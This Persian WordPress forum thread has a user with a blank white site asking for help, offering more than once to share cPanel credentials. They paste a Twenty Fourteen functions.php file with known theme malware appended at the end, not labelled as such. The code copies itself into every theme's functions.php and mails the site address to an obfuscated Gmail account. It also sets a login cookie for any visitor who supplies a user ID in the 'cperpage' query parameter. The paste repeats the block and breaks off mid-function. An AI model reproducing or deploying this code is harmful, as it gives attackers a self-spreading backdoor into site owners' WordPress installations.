رفتن به مطلب

تمام صفحات سفید


پست های پیشنهاد شده

سلام

داشتم قالب سایتمو عوض میکردم یهو همه چیز سفید شد. صفحه مدیرت، خود سایت همش سفید سفید شد. اون کدی رو که گفتید هم گذاشتم روی wp-config.php ولی هیچی نشد کار نکرد. چی کار کنم؟ کنترل پنلم سی پنله. الان به وردپرس هم دسترسی ندارم. یه راه کار بگید لطفا. اگه لازمه یوزر نیم و پسورد سی پنلمو بدم بهتون؟

post-4962-0-34329700-1391689660_thumb.pn

لینک به ارسال

سلام

داشتم قالب سایتمو عوض میکردم یهو همه چیز سفید شد. صفحه مدیرت، خود سایت همش سفید سفید شد. اون کدی رو که گفتید هم گذاشتم روی wp-config.php ولی هیچی نشد کار نکرد. چی کار کنم؟ کنترل پنلم سی پنله. الان به وردپرس هم دسترسی ندارم. یه راه کار بگید لطفا. اگه لازمه یوزر نیم و پسورد سی پنلمو بدم بهتون؟

درود ...؛

وارد سی پنل و روت سایتتون بشید و پوشه مربوط به همین تمی که داشتید نصب میکردید رو پاک کنید و یا تغییر نام بدید. احتمالا مشکل حل بشه.

موفق باشید.

:)

لینک به ارسال

قبلا همین کارو کردم. کل پوشه ی اون قالبو حذف کردم ولی نشد. چند تا قالب دیگه هم روی هاستم دارم. نمیدونم چطوری نصبشون کنم. به نظر شما مشکل این نیست که سایتم قالب نصب شده نداره؟ چون اون قالبی که نصب شده بود رو پاک کردم. سایتم publicdl.com

ویرایش شده توسط publicdl
لینک به ارسال

اول یه قالبی رو نصب بعدش زدم فعال بشه که یهو همه چی سفید شد. آخرش زد به سرم رفتم پوشه ی اون قالبو پاک کردم از سی پنل. بازم هیچی تغییر نکرد. چند تا قالب دیگه روی سایتم دارم که غیر فعالن. نمیدونم چیزی جایگزین شده یا نه. اگه شده باشه که فکر کنم باید سایتم بالا بیاد این طور نیست؟

لینک به ارسال

احتمال زیادی میتونه باشه

اسم همه پوشه پوسته هارو تغییر بدید و افزونه ها رو فقط اون هایی که پیشفرض هستند بمونن(فقط پوسته 2014)

و اگر باز سفید بود فانکشن قالب 2014 ضمینه کنید

لینک به ارسال

احتمال زیادی میتونه باشه

اسم همه پوشه پوسته هارو تغییر بدید و افزونه ها رو فقط اون هایی که پیشفرض هستند بمونن(فقط پوسته 2014)

و اگر باز سفید بود فانکشن قالب 2014 ضمینه کنید

متوجه نشدم پوسته 2014 رو تغییر بدم یا نه؟ اون افزونه هایی که پیشفرض نیستند رو پاک کنم؟ فقط کدهای فانکشن قالب 2014 رو ضمیمه کنم؟

لینک به ارسال

1-اسم هر پوسته و پلاگین تغییر بدید فقط پوسته 2014 دست نزنید

ببینید اگر بالا اومد هیچ اگر نیومد فقط فانکشن اون ضمینه کنید

2- ارور لاگ هم وجود دارد ضمینه کنید

لینک به ارسال

وقتی قالب ها را ری نیم کردم چیزی نشد ولی وقتی افزونه ها تغییر دادم این ارور اومد:

Notice: Constant WP_DEBUG already defined in /home/publicdl/public_html/wp-config.php on line 91

گفتید افزونه هارو همشو تغییر بدم؟ اگه میخواهید یوزر و پس سی پنلمو بدم بیزحمت خودتون پیگیر شید اگه زحمتی نیست.

ارور لاگ نبود.

اینم فانکشن

<?php

/**

* Twenty Fourteen functions and definitions

*

* Set up the theme and provides some helper functions, which are used in the

* theme as custom template tags. Others are attached to action and filter

* hooks in WordPress to change core functionality.

*

* When using a child theme you can override certain functions (those wrapped

* in a function_exists() call) by defining them first in your child theme's

* functions.php file. The child theme's functions.php file is included before

* the parent theme's file, so the child theme functions would be used.

*

* @link http://codex.wordpre...eme_Development

* @link http://codex.wordpre...rg/Child_Themes

*

* Functions that are not pluggable (not wrapped in function_exists()) are

* instead attached to a filter or action hook.

*

* For more information on hooks, actions, and filters,

* @link http://codex.wordpress.org/Plugin_API

*

* @package WordPress

* @subpackage Twenty_Fourteen

* @since Twenty Fourteen 1.0

*/

/**

* Set up the content width value based on the theme's design.

*

* @see twentyfourteen_content_width()

*

* @since Twenty Fourteen 1.0

*/

if ( ! isset( $content_width ) ) {

$content_width = 474;

}

/**

* Twenty Fourteen only works in WordPress 3.6 or later.

*/

if ( version_compare( $GLOBALS['wp_version'], '3.6', '<' ) ) {

require get_template_directory() . '/inc/back-compat.php';

}

if ( ! function_exists( 'twentyfourteen_setup' ) ) :

/**

* Twenty Fourteen setup.

*

* Set up theme defaults and registers support for various WordPress features.

*

* Note that this function is hooked into the after_setup_theme hook, which

* runs before the init hook. The init hook is too late for some features, such

* as indicating support post thumbnails.

*

* @since Twenty Fourteen 1.0

*/

function twentyfourteen_setup() {

/*

* Make Twenty Fourteen available for translation.

*

* Translations can be added to the /languages/ directory.

* If you're building a theme based on Twenty Fourteen, use a find and

* replace to change 'twentyfourteen' to the name of your theme in all

* template files.

*/

load_theme_textdomain( 'twentyfourteen', get_template_directory() . '/languages' );

// This theme styles the visual editor to resemble the theme style.

add_editor_style( array( 'css/editor-style.css', twentyfourteen_font_url() ) );

// Add RSS feed links to <head> for posts and comments.

add_theme_support( 'automatic-feed-links' );

// Enable support for Post Thumbnails, and declare two sizes.

add_theme_support( 'post-thumbnails' );

set_post_thumbnail_size( 672, 372, true );

add_image_size( 'twentyfourteen-full-width', 1038, 576, true );

// This theme uses wp_nav_menu() in two locations.

register_nav_menus( array(

'primary' => __( 'Top primary menu', 'twentyfourteen' ),

'secondary' => __( 'Secondary menu in left sidebar', 'twentyfourteen' ),

) );

/*

* Switch default core markup for search form, comment form, and comments

* to output valid HTML5.

*/

add_theme_support( 'html5', array(

'search-form', 'comment-form', 'comment-list',

) );

/*

* Enable support for Post Formats.

* See http://codex.wordpre...rg/Post_Formats

*/

add_theme_support( 'post-formats', array(

'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery',

) );

// This theme allows users to set a custom background.

add_theme_support( 'custom-background', apply_filters( 'twentyfourteen_custom_background_args', array(

'default-color' => 'f5f5f5',

) ) );

// Add support for featured content.

add_theme_support( 'featured-content', array(

'featured_content_filter' => 'twentyfourteen_get_featured_posts',

'max_posts' => 6,

) );

// This theme uses its own gallery styles.

add_filter( 'use_default_gallery_style', '__return_false' );

}

endif; // twentyfourteen_setup

add_action( 'after_setup_theme', 'twentyfourteen_setup' );

/**

* Adjust content_width value for image attachment template.

*

* @since Twenty Fourteen 1.0

*

* @return void

*/

function twentyfourteen_content_width() {

if ( is_attachment() && wp_attachment_is_image() ) {

$GLOBALS['content_width'] = 810;

}

}

add_action( 'template_redirect', 'twentyfourteen_content_width' );

/**

* Getter function for Featured Content Plugin.

*

* @since Twenty Fourteen 1.0

*

* @return array An array of WP_Post objects.

*/

function twentyfourteen_get_featured_posts() {

/**

* Filter the featured posts to return in Twenty Fourteen.

*

* @since Twenty Fourteen 1.0

*

* @param array|bool $posts Array of featured posts, otherwise false.

*/

return apply_filters( 'twentyfourteen_get_featured_posts', array() );

}

/**

* A helper conditional function that returns a boolean value.

*

* @since Twenty Fourteen 1.0

*

* @return bool Whether there are featured posts.

*/

function twentyfourteen_has_featured_posts() {

return ! is_paged() && (bool) twentyfourteen_get_featured_posts();

}

/**

* Register three Twenty Fourteen widget areas.

*

* @since Twenty Fourteen 1.0

*

* @return void

*/

function twentyfourteen_widgets_init() {

require get_template_directory() . '/inc/widgets.php';

register_widget( 'Twenty_Fourteen_Ephemera_Widget' );

register_sidebar( array(

'name' => __( 'Primary Sidebar', 'twentyfourteen' ),

'id' => 'sidebar-1',

'description' => __( 'Main sidebar that appears on the left.', 'twentyfourteen' ),

'before_widget' => '<aside id="%1$s" class="widget %2$s">',

'after_widget' => '</aside>',

'before_title' => '<h1 class="widget-title">',

'after_title' => '</h1>',

) );

register_sidebar( array(

'name' => __( 'Content Sidebar', 'twentyfourteen' ),

'id' => 'sidebar-2',

'description' => __( 'Additional sidebar that appears on the right.', 'twentyfourteen' ),

'before_widget' => '<aside id="%1$s" class="widget %2$s">',

'after_widget' => '</aside>',

'before_title' => '<h1 class="widget-title">',

'after_title' => '</h1>',

) );

register_sidebar( array(

'name' => __( 'Footer Widget Area', 'twentyfourteen' ),

'id' => 'sidebar-3',

'description' => __( 'Appears in the footer section of the site.', 'twentyfourteen' ),

'before_widget' => '<aside id="%1$s" class="widget %2$s">',

'after_widget' => '</aside>',

'before_title' => '<h1 class="widget-title">',

'after_title' => '</h1>',

) );

}

add_action( 'widgets_init', 'twentyfourteen_widgets_init' );

/**

* Register Lato Google font for Twenty Fourteen.

*

* @since Twenty Fourteen 1.0

*

* @return string

*/

function twentyfourteen_font_url() {

$font_url = '';

/*

* Translators: If there are characters in your language that are not supported

* by Lato, translate this to 'off'. Do not translate into your own language.

*/

if ( 'off' !== _x( 'on', 'Lato font: on or off', 'twentyfourteen' ) ) {

$font_url = add_query_arg( 'family', urlencode( 'Lato:300,400,700,900,300italic,400italic,700italic' ), "//fonts.googleapis.com/css" );

}

return $font_url;

}

/**

* Enqueue scripts and styles for the front end.

*

* @since Twenty Fourteen 1.0

*

* @return void

*/

function twentyfourteen_scripts() {

// Add Lato font, used in the main stylesheet.

wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );

// Add Genericons font, used in the main stylesheet.

wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.0.2' );

// Load our main stylesheet.

wp_enqueue_style( 'twentyfourteen-style', get_stylesheet_uri(), array( 'genericons' ) );

// Load the Internet Explorer specific stylesheet.

wp_enqueue_style( 'twentyfourteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfourteen-style', 'genericons' ), '20131205' );

wp_style_add_data( 'twentyfourteen-ie', 'conditional', 'lt IE 9' );

if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {

wp_enqueue_script( 'comment-reply' );

}

if ( is_singular() && wp_attachment_is_image() ) {

wp_enqueue_script( 'twentyfourteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20130402' );

}

if ( is_active_sidebar( 'sidebar-3' ) ) {

wp_enqueue_script( 'jquery-masonry' );

}

if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {

wp_enqueue_script( 'twentyfourteen-slider', get_template_directory_uri() . '/js/slider.js', array( 'jquery' ), '20131205', true );

wp_localize_script( 'twentyfourteen-slider', 'featuredSliderDefaults', array(

'prevText' => __( 'Previous', 'twentyfourteen' ),

'nextText' => __( 'Next', 'twentyfourteen' )

) );

}

wp_enqueue_script( 'twentyfourteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20131209', true );

}

add_action( 'wp_enqueue_scripts', 'twentyfourteen_scripts' );

/**

* Enqueue Google fonts style to admin screen for custom header display.

*

* @since Twenty Fourteen 1.0

*

* @return void

*/

function twentyfourteen_admin_fonts() {

wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );

}

add_action( 'admin_print_scripts-appearance_page_custom-header', 'twentyfourteen_admin_fonts' );

if ( ! function_exists( 'twentyfourteen_the_attached_image' ) ) :

/**

* Print the attached image with a link to the next attached image.

*

* @since Twenty Fourteen 1.0

*

* @return void

*/

function twentyfourteen_the_attached_image() {

$post = get_post();

/**

* Filter the default Twenty Fourteen attachment size.

*

* @since Twenty Fourteen 1.0

*

* @param array $dimensions {

* An array of height and width dimensions.

*

* @type int $height Height of the image in pixels. Default 810.

* @type int $width Width of the image in pixels. Default 810.

* }

*/

$attachment_size = apply_filters( 'twentyfourteen_attachment_size', array( 810, 810 ) );

$next_attachment_url = wp_get_attachment_url();

/*

* Grab the IDs of all the image attachments in a gallery so we can get the URL

* of the next adjacent image in a gallery, or the first image (if we're

* looking at the last image in a gallery), or, in a gallery of one, just the

* link to that image file.

*/

$attachment_ids = get_posts( array(

'post_parent' => $post->post_parent,

'fields' => 'ids',

'numberposts' => -1,

'post_status' => 'inherit',

'post_type' => 'attachment',

'post_mime_type' => 'image',

'order' => 'ASC',

'orderby' => 'menu_order ID',

) );

// If there is more than 1 attachment in a gallery...

if ( count( $attachment_ids ) > 1 ) {

foreach ( $attachment_ids as $attachment_id ) {

if ( $attachment_id == $post->ID ) {

$next_id = current( $attachment_ids );

break;

}

}

// get the URL of the next image attachment...

if ( $next_id ) {

$next_attachment_url = get_attachment_link( $next_id );

}

// or get the URL of the first image attachment.

else {

$next_attachment_url = get_attachment_link( array_shift( $attachment_ids ) );

}

}

printf( '<a href="%1$s" rel="attachment">%2$s</a>',

esc_url( $next_attachment_url ),

wp_get_attachment_image( $post->ID, $attachment_size )

);

}

endif;

if ( ! function_exists( 'twentyfourteen_list_authors' ) ) :

/**

* Print a list of all site contributors who published at least one post.

*

* @since Twenty Fourteen 1.0

*

* @return void

*/

function twentyfourteen_list_authors() {

$contributor_ids = get_users( array(

'fields' => 'ID',

'orderby' => 'post_count',

'order' => 'DESC',

'who' => 'authors',

) );

foreach ( $contributor_ids as $contributor_id ) :

$post_count = count_user_posts( $contributor_id );

// Move on if user has not published a post (yet).

if ( ! $post_count ) {

continue;

}

?>

<div class="contributor">

<div class="contributor-info">

<div class="contributor-avatar"><?php echo get_avatar( $contributor_id, 132 ); ?></div>

<div class="contributor-summary">

<h2 class="contributor-name"><?php echo get_the_author_meta( 'display_name', $contributor_id ); ?></h2>

<p class="contributor-bio">

<?php echo get_the_author_meta( 'description', $contributor_id ); ?>

</p>

<a class="contributor-posts-link" href="<?php echo esc_url( get_author_posts_url( $contributor_id ) ); ?>">

<?php printf( _n( '%d Article', '%d Articles', $post_count, 'twentyfourteen' ), $post_count ); ?>

</a>

</div><!-- .contributor-summary -->

</div><!-- .contributor-info -->

</div><!-- .contributor -->

<?php

endforeach;

}

endif;

/**

* Extend the default WordPress body classes.

*

* Adds body classes to denote:

* 1. Single or multiple authors.

* 2. Presence of header image.

* 3. Index views.

* 4. Full-width content layout.

* 5. Presence of footer widgets.

* 6. Single views.

* 7. Featured content layout.

*

* @since Twenty Fourteen 1.0

*

* @param array $classes A list of existing body class values.

* @return array The filtered body class list.

*/

function twentyfourteen_body_classes( $classes ) {

if ( is_multi_author() ) {

$classes[] = 'group-blog';

}

if ( get_header_image() ) {

$classes[] = 'header-image';

} else {

$classes[] = 'masthead-fixed';

}

if ( is_archive() || is_search() || is_home() ) {

$classes[] = 'list-view';

}

if ( ( ! is_active_sidebar( 'sidebar-2' ) )

|| is_page_template( 'page-templates/full-width.php' )

|| is_page_template( 'page-templates/contributors.php' )

|| is_attachment() ) {

$classes[] = 'full-width';

}

if ( is_active_sidebar( 'sidebar-3' ) ) {

$classes[] = 'footer-widgets';

}

if ( is_singular() && ! is_front_page() ) {

$classes[] = 'singular';

}

if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {

$classes[] = 'slider';

} elseif ( is_front_page() ) {

$classes[] = 'grid';

}

return $classes;

}

add_filter( 'body_class', 'twentyfourteen_body_classes' );

/**

* Extend the default WordPress post classes.

*

* Adds a post class to denote:

* Non-password protected page with a post thumbnail.

*

* @since Twenty Fourteen 1.0

*

* @param array $classes A list of existing post class values.

* @return array The filtered post class list.

*/

function twentyfourteen_post_classes( $classes ) {

if ( ! post_password_required() && has_post_thumbnail() ) {

$classes[] = 'has-post-thumbnail';

}

return $classes;

}

add_filter( 'post_class', 'twentyfourteen_post_classes' );

/**

* Create a nicely formatted and more specific title element text for output

* in head of document, based on current view.

*

* @since Twenty Fourteen 1.0

*

* @param string $title Default title text for current view.

* @param string $sep Optional separator.

* @return string The filtered title.

*/

function twentyfourteen_wp_title( $title, $sep ) {

global $paged, $page;

if ( is_feed() ) {

return $title;

}

// Add the site name.

$title .= get_bloginfo( 'name' );

// Add the site description for the home/front page.

$site_description = get_bloginfo( 'description', 'display' );

if ( $site_description && ( is_home() || is_front_page() ) ) {

$title = "$title $sep $site_description";

}

// Add a page number if necessary.

if ( $paged >= 2 || $page >= 2 ) {

$title = "$title $sep " . sprintf( __( 'Page %s', 'twentyfourteen' ), max( $paged, $page ) );

}

return $title;

}

add_filter( 'wp_title', 'twentyfourteen_wp_title', 10, 2 );

// Implement Custom Header features.

require get_template_directory() . '/inc/custom-header.php';

// Custom template tags for this theme.

require get_template_directory() . '/inc/template-tags.php';

// Add Theme Customizer functionality.

require get_template_directory() . '/inc/customizer.php';

/*

* Add Featured Content functionality.

*

* To overwrite in a plugin, define your own Featured_Content class on or

* before the 'setup_theme' hook.

*/

if ( ! class_exists( 'Featured_Content' ) && 'plugins.php' !== $GLOBALS['pagenow'] ) {

require get_template_directory() . '/inc/featured-content.php';

}

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar');

add_filter('the_content', 'my_nofollow');

add_filter('the_excerpt', 'my_nofollow');

function my_nofollow($content) {

return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content);

}

function my_nofollow_callback($matches) {

$link = $matches[0];

$site_link = get_bloginfo('url');

if (strpos($link, 'rel') === false) {

$link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link);

} elseif (preg_match("%href=\S(?!$site_link)%i", $link)) {

$link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link);

}

return $link;

}

add_action('init', 'remheadlink');

function remheadlink() {

remove_action('wp_head', 'rsd_link');

remove_action('wp_head', 'wlwmanifest_link');

}

?>

<?php

function _check_isactive_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_isactive_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

